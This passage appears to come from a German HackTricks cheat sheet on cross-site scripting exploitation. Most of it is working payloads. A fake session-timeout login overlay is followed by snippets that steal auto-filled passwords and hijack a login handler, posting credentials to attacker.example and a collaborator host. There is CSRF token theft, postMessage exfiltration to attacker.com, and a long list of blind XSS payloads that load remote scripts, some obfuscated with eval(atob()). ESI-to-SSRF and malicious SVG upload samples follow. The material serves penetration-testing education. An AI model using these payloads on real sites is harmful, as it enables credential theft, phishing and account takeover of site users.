<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Auto-fill passwords abfangen

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Wenn Daten in das password-Feld eingegeben werden, werden username und password an den attackers server gesendet; selbst wenn der client ein saved password auswählt und nichts eingibt, werden die credentials ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Wenn ein kritischer handler (z. B. function DoLogin(){...}) später auf der Seite deklariert wird und dein payload früher ausgeführt wird (z. B. über einen inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den handler vorzubeugen und zu sperren. Spätere function declarations können einen const-Namen nicht neu binden, sodass dein hook die Kontrolle behält:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Hinweise

  • This relies on execution order: your injection must execute before the legitimate declaration.
  • Wenn dein Payload in eval(...) eingebettet ist, werden const/let-Bindungen nicht zu globals. Verwende die dynamische <script> injection technique aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um eine echte globale, non-rebindable binding sicherzustellen.
  • When keyword filters block code, combine with Unicode-escaped identifiers or eval(atob('...')) delivery, as shown above.

Keylogger

Bei einer Suche in github habe ich ein paar verschiedene gefunden:

Stealing CSRF tokens

javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage-Nachrichten abfangen

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Missbrauch von Service Workers

Abusing Service Workers

Zugriff auf Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Sie können auch verwenden: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Zugriff auf versteckte Inhalte

Aus this writeup lässt sich lernen, dass selbst wenn einige Werte aus JS verschwinden, sie immer noch in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel kann eine Eingabe eines REGEX noch gefunden werden, nachdem der Wert der Eingabe des Regex entfernt wurde:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force Liste

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS Ausnutzen anderer Schwachstellen

XSS in Markdown

Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht kannst du so XSS erreichen! Sieh dir an:

XSS in Markdown

XSS zu SSRF

Hast du XSS auf einer site, die Caching verwendet? Versuche, das zu SSRF aufzuwerten durch Edge Side Include Injection mit diesem payload:

python
<esi:include src="http://yoursite.com/capture" />

Verwende es, um cookie-Einschränkungen, XSS-Filter und vieles mehr zu umgehen!
Mehr Informationen zu dieser Technik hier: XSLT.

XSS in dynamisch erstelltem PDF

Wenn eine Webseite ein PDF unter Verwendung von user controlled input erstellt, kannst du versuchen, den bot zu täuschen, der das PDF erstellt, damit er beliebigen JS-Code ausführt.
Wenn der PDF creator bot irgendeine Art von HTML tags findet, wird er diese interpretieren, und du kannst dieses Verhalten missbrauchen, um ein Server XSS zu verursachen.

Server Side XSS (Dynamic PDF)

Wenn du keine HTML tags injizieren kannst, könnte es sich lohnen, zu versuchen, inject PDF data:

PDF Injection

XSS in Amp4Email

AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über AMP components.

Das AMP for Email Format erweitert bestimmte AMP components auf E-Mails, sodass Empfänger direkt innerhalb ihrer E-Mails mit dem Inhalt interagieren können.

Beispiel writeup XSS in Amp4Email in Gmail.

XSS beim Hochladen von Dateien (svg)

Lade als Bild eine Datei wie die folgende hoch (von http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Finde mehr SVG payloads auf https://github.com/allanlw/svg-cheatsheet

Verschiedene JS-Tricks & relevante Infos

Misc JS Tricks & Relevant Info

XSS-Ressourcen

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks